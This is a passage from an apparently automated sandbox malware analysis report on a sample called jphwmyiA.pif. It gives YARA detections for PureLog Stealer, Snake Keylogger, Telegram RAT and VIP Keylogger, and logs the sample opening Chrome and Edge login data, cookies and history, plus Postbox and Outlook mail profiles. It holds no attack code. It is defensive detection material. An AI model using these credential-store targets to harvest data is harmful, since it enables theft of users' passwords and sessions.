          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX.s&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qn
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q8q
          Source: C:\Windows\SysWOW64\brightness.exeCode function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,8_2_02835A78
          Source: C:\Windows\SysWOW64\brightness.exeCode function: GetLocaleInfoA,8_2_0283A790
          Source: C:\Windows\SysWOW64\brightness.exeCode function: GetLocaleInfoA,8_2_0283A744
          Source: C:\Windows\SysWOW64\brightness.exeCode function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,8_2_02835B84
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: GetLocaleInfoA,12_2_00417A20
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,13_2_02995A78
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: GetLocaleInfoA,13_2_0299A790
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,13_2_02995B83
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: GetLocaleInfoA,16_2_00417A20
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: GetLocaleInfoA,16_1_00417A20
          Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformationJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
          Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
          Source: C:\Users\Public\Libraries\jphwmyiA.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0283918C GetLocalTime,8_2_0283918C
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0283B70C GetVersionExA,8_2_0283B70C
          Source: C:\Users\Public\Libraries\jphwmyiA.pifKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

          Stealing of Sensitive Information

          barindex
          Yara detected PureLog Stealer
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1d140000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.3.jphwmyiA.pif.283edba0.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.3.jphwmyiA.pif.24507b80.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1d140000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f299de.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10000.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0000.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0ee8.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730ee8.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a0399de.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0ee8.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a03a8c6.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f2a8c6.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730000.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2d020000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1da8c6.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10000.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10ee8.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2d020000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a0399de.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f299de.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.3.jphwmyiA.pif.187dcca8.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10ee8.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0000.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730000.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.3.jphwmyiA.pif.187dcca8.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1d99de.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a03a8c6.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1da8c6.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1d99de.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28fc0000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.3.jphwmyiA.pif.283edba0.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000C.00000002.3446215142.0000000027271000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3446220044.000000002B461000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3446431807.000000001B4F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Yara detected Snake Keylogger
          Source: Yara matchFile source: 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3444524206.000000002A3C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Yara detected Telegram RAT
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1d140000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.3.jphwmyiA.pif.283edba0.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.3.jphwmyiA.pif.24507b80.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1d140000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f299de.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10000.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0000.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0ee8.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730ee8.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a0399de.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0ee8.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a03a8c6.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f2a8c6.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730000.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2d020000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1da8c6.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10000.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10ee8.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2d020000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a0399de.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f299de.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.3.jphwmyiA.pif.187dcca8.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10ee8.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0000.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730000.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.3.jphwmyiA.pif.187dcca8.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1d99de.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a03a8c6.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1da8c6.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1d99de.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28fc0000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.3.jphwmyiA.pif.283edba0.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 6396, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 2228, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 5476, type: MEMORYSTR
          Yara detected VIP Keylogger
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1d140000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.3.jphwmyiA.pif.283edba0.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.3.jphwmyiA.pif.24507b80.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1d140000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f299de.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10000.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0000.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0ee8.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730ee8.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a0399de.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0ee8.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a03a8c6.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f2a8c6.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730000.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2d020000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1da8c6.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10000.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10ee8.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2d020000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a0399de.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f299de.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.3.jphwmyiA.pif.187dcca8.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10ee8.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0000.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730000.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.3.jphwmyiA.pif.187dcca8.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1d99de.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a03a8c6.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1da8c6.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1d99de.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28fc0000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.3.jphwmyiA.pif.283edba0.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 6396, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 2228, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 5476, type: MEMORYSTR
          Tries to harvest and steal browser information (history, passwords, etc)
          Source: C:\Users\Public\Libraries\jphwmyiA.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
          Source: C:\Users\Public\Libraries\jphwmyiA.pifFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
          Source: C:\Users\Public\Libraries\jphwmyiA.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
          Source: C:\Users\Public\Libraries\jphwmyiA.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
          Source: C:\Users\Public\Libraries\jphwmyiA.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
          Source: C:\Users\Public\Libraries\jphwmyiA.pifFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
          Source: C:\Users\Public\Libraries\jphwmyiA.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites
          Source: C:\Users\Public\Libraries\jphwmyiA.pifFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
          Tries to steal Mail credentials (via file / registry access)
          Source: C:\Users\Public\Libraries\jphwmyiA.pifFile opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifFile opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
          Source: C:\Users\Public\Libraries\jphwmyiA.pifKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
          Source: C:\Users\Public\Libraries\jphwmyiA.pifFile opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
          Source: C:\Users\Public\Libraries\jphwmyiA.pifKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1d140000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.3.jphwmyiA.pif.283edba0.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.3.jphwmyiA.pif.24507b80.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1d140000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f299de.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10000.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0000.5.raw.unpack, type: UNPACKEDPE
